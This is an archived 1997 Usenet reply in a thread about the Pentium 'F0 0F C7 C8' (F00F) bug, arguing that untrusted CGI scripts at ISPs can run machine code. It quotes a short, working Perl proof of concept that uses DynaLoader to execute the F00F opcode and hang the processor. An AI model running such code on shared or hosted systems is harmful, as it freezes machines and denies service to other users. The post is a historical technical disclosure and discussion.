From myrddin.imat.com!miwok!ultra.sonic.net!pushkin.conxion.com!news.he.net!news-peer.gip.net!news.gsl.net!gip.net!howland.erols.net!news2.digex.net!digex!lynx.unm.edu!fugu!mr2.mst6.lanl.gov!nntp-server.caltech.edu!not-for-mail Tue Nov 18 10:42:19 1997 Path: myrddin.imat.com!miwok!ultra.sonic.net!pushkin.conxion.com!news.he.net!news-peer.gip.net!news.gsl.net!gip.net!howland.erols.net!news2.digex.net!digex!lynx.unm.edu!fugu!mr2.mst6.lanl.gov!nntp-server.caltech.edu!not-for-mail From: Shimpei Yamashita Newsgroups: comp.os.linux.advocacy,comp.sys.intel Subject: Re: F0 0F C7 C8 looks worse than FPIV Date: 12 Nov 1997 14:27:50 GMT Organization: Hummingbird Heaven Lines: 28 Message-ID: <64ced6$eqf@gap.cco.caltech.edu> References: <3462ADCD.135B@noname.com> <6485o3$n68$2@central.server.swt.edu> <648tke$218@gap.cco.caltech.edu> <64c9dp$18c$2@newbabylon.rs.itd.umich.edu> Reply-To: Shimpei Yamashita NNTP-Posting-Host: socrates.patnet.caltech.edu X-Original-Newsgroups: comp.os.linux.advocacy,comp.sys.intel X-Newsreader: trn 4.0-test60 (5 October 1997) Originator: shimpei@socrates.caltech.edu (Shimpei Yamashita) Xref: myrddin.imat.com comp.os.linux.advocacy:104577 comp.sys.intel:43494 Hasdi Rodzmann Hashim writes: > >Shimpei Yamashita (shimpei@socrates.caltech.edu) wrote: >: Um, did you see my post in context? I was responding to a post that >: was discussing ISP hosting CGI scripts. Those are usually untrusted. > ^^^^^^^ >: I'd hate to be the ISP that has to host CGI scripts, but in this day >: and age, you just can't survive in the ISP market without allowing CGI >: scripts for web pages. > >Uhm. If you are talking about PERL scripts, I don't see how you can >execute arbitrary machine code with it. Sure you can. Here's the cleanest example I've seen so far: >From: Gisle Aas >Newsgroups: comp.sys.intel >Subject: Re: F0 0F C7 C8 looks worse than FPIV >Date: 11 Nov 1997 14:09:29 +0100 > >#!/usr/bin/perl >require DynaLoader; >DynaLoader::dl_install_xsub("main::hangme", > unpack("I", pack("P4", "\xF0\x0F\xC7\xC8"))); >hangme(); -- Shimpei Yamashita